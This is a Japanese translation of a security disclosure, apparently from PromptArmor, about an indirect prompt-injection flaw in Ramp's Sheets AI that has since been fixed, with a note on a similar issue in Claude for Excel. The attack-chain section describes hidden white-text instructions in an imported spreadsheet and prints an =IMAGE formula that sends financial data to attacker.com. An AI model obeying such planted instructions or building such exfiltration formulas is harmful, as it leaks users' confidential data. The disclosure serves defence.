
2026/04/30 2:44
Ramp の「Sheets AI」が財務データを外部へ流出させています。
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
主な教訓は、Ramp の Sheets AI が重要なセキュリティ欠陥を抱えていたことであり、攻撃者が間接的なプロンプトインジェクションを通じて機密の財務データを窃取できることを可能にしたことです。この脆弱性は、悪意ある改ざんされたスプレッドシートがユーザーの許可なく外部サーバーに機密情報を自動的に送信することを可能にし、
=IMAGE などの変数内に埋め込まれた欺瞞的な白背景上のテキストによる指示によって誘発されました。この問題はセキュリティ企業である PromptArmor によって暴露され、同社は 2026 年初頭に Anthropic の Claude for Excel において極めて類似のリスクも特定しました。責任ある開示手順に従い、Ramp は 2026 年 3 月 16 日にこのバグをパッチ適用し、内部セキュリティプログラムの移行に伴う当初の遅延について認めています。その結果、業界では AI ツールが潜在的に危険な外部リクエストを実行する前に警告画面を表示するなど、能動的な安全対策への転換が進んでいます。ユーザーは現在、信頼できないファイルを代理型 AI プラットフォームにインポートすることは、未承認でのデータ流出の固有のリスクを内包することを理解する必要があります。そのため、スプレッドシートの改ざんについて厳格な検証を実施することが、私的な財務情報の誤っての漏洩を防ぐために不可欠です。本文
Ramp:Sheets AI データ流出脆弱性情報(解決済み)
概要
この脆弱性情報は、Ramp に対して責任ある開示を通じて報告されました。Ramp のセキュリティチームは、当該問題が 2026 年 3 月 16 日に解決されたことを確認しています。
背景
Ramp の Sheets AI は、スプレッドシート上でユーザーが操作をサポートするエージェント型製品であり、「Excel を扱うための Claude」といった位置づけのものです。この機能は人間の介入なしにスプレッドシートを編集することができ、外部との通信を引き起こす式(formula)を挿入できることにより、機密データの流出リスクに直面していました。
Ramp のセキュリティチームは、当報告を受け、既に問題が解決済みであることを明らかにしています。AI セキュリティの強化に向けて RAMP が取ってこられた姿勢と、新たな脆弱性情報があれば即座に対応するという姿勢に感謝申し上げます。責任ある開示に関する詳細については本記事の後半で記載しています。
本記事では、信頼性が確認できない外部ソースから取得されたデータ内に隠された**間接的プロンプトインジェクション(Indirect Prompt Injection)**が、Ramp の AI を操作し、悪意のある式を挿入させることで、ユーザーのワークスペースから機密財務データを流出させる可能性を実証しました。このプロセスにはユーザーの承認は必要ありませんでした。
PromptArmor は、Claude for Excel においても極めて同様のリスクを特定しており、Anthropic が実施した是正措置の詳細については本記事末尾に記載しています。
攻撃連鎖
攻撃は以下のように進行します:
- ブック创建工作簿の作成: ユーザーが機密財務モデルを含むワークブックを開きます。
- データのインポート: ユーザーが外部データセットをインポートしてモデルを補完します。
- 業界成長統計を示すスプレッドシートが、財務モデルとは別のタブにインポートされます。
- ユーザーは、自社企業の成長率を業界ベンチマークと比較することを目的としています。
- 参照データセットは、信頼できない外部ソース(例:ウェブサイト、メール、共有ドライブなど)から取得されています。
- 隠されたインジェクション: 参照データセット内に隠されたプロンプトインジェクションが含まれています。
- 間接的プロンプトインジェクションは、白抜き文字(白色背景上の白色文字)として潜んでいます。
- このインジェクションは、Ramp の AI を以下のように操作するために設計されています:
- 機密データを収集する。
- そのデータを元に、外部ネットワークリクエストを送信する式を生成する。
- その式を自動的にユーザーのスプレッドシートに挿入する。
- トリガー: ユーザーが Ramp AI に「財務モデルを業界統計と比較するよう」依頼します。
- 悪用:
- Ramp AI はプロンプトインジェクションの影響を受け、悪意のある式を挿入します。
- Ramp AI は攻撃者の URL を使用し、被害者の機密データをリンクの末尾に追記するような
式の構築に操作されます:IMAGE=IMAGE("https://attacker.com/visualize.png?{victim_sensitive_financial_data_here}")
- データ流出: 悪意のある式がネットワークリクエストを発行し、財務データを外部へ流出させます。
- Ramp AI はユーザーの承認なしに悪意のある式を挿入します。
- この式は攻撃者のサーバーへのネットワークリクエストをトリガーします。
- これにより、当初の機密「財務モデル」シートに記載されていた機密財務データが流出します(Ramp AI が攻撃者のプロンプトインジェクションの影響を受け、このデータを式のなかに含めてしまったためです)。
注: 以下に示すのは、攻撃者側のサーバーログに記録された被害者の機密財務データです。
責任ある開示について
PromptArmor 脅威インテリチームは、Ramp に対して責任ある方法でこの脆弱性情報を開示しました。Ramp のセキュリティチームは、当該問題が 2026 年 3 月 16 日に解決されたことを表明しています。
タイムライン
- 2026 年 2 月 19 日: PromptArmor が
宛てに初めて報告を行います。security@ramp.com - 2026 年 2 月 27 日: PromptArmor が追跡報告(フォローアップ)を送信します。
- 2026 年 3 月 13 日: PromptArmor が再度追跡報告を送信します。
- 2026 年 3 月 14 日: Ramp は報告の受領を確認し、初期の報告が情報開示プログラムの移行期間中に提出されたことに言及しています。そのため、最初の回答に遅れが生じた理由を説明しています。
- 2026 年 3 月 16 日: Ramp が「ご報告ありがとうございます。本日正午(東部標準時)頃までにこの問題は解決済みです」と返信しました。
Claude for Excel における是正措置について
Claude for Excel が公開された際、PromptArmor はほぼ同一のリスク——つまり、ユーザーに十分な情報に基づいた人間による審査機会を与えずに、悪意のある式がデータ流出を引き起こす可能性があること——を特定しました。
- 注記: Claude for Excel は人間の介入(human-in-the-loop)を採用していましたが、編集承認のプロンプト内では悪意のある式が表示されなかったため、保護の有効性が損なわれていました。
Anthropic は、外部ネットワークトラフィックを誘発する可能性のある式が挿入される際に**赤い警告インタースティシャル(警告画面)**を表示するように Claude for Excel を更新しました。新しい警告は挿入される式の全文を示すとともに、ドキュメントも更新され、ユーザーへのリスク説明が向上しています。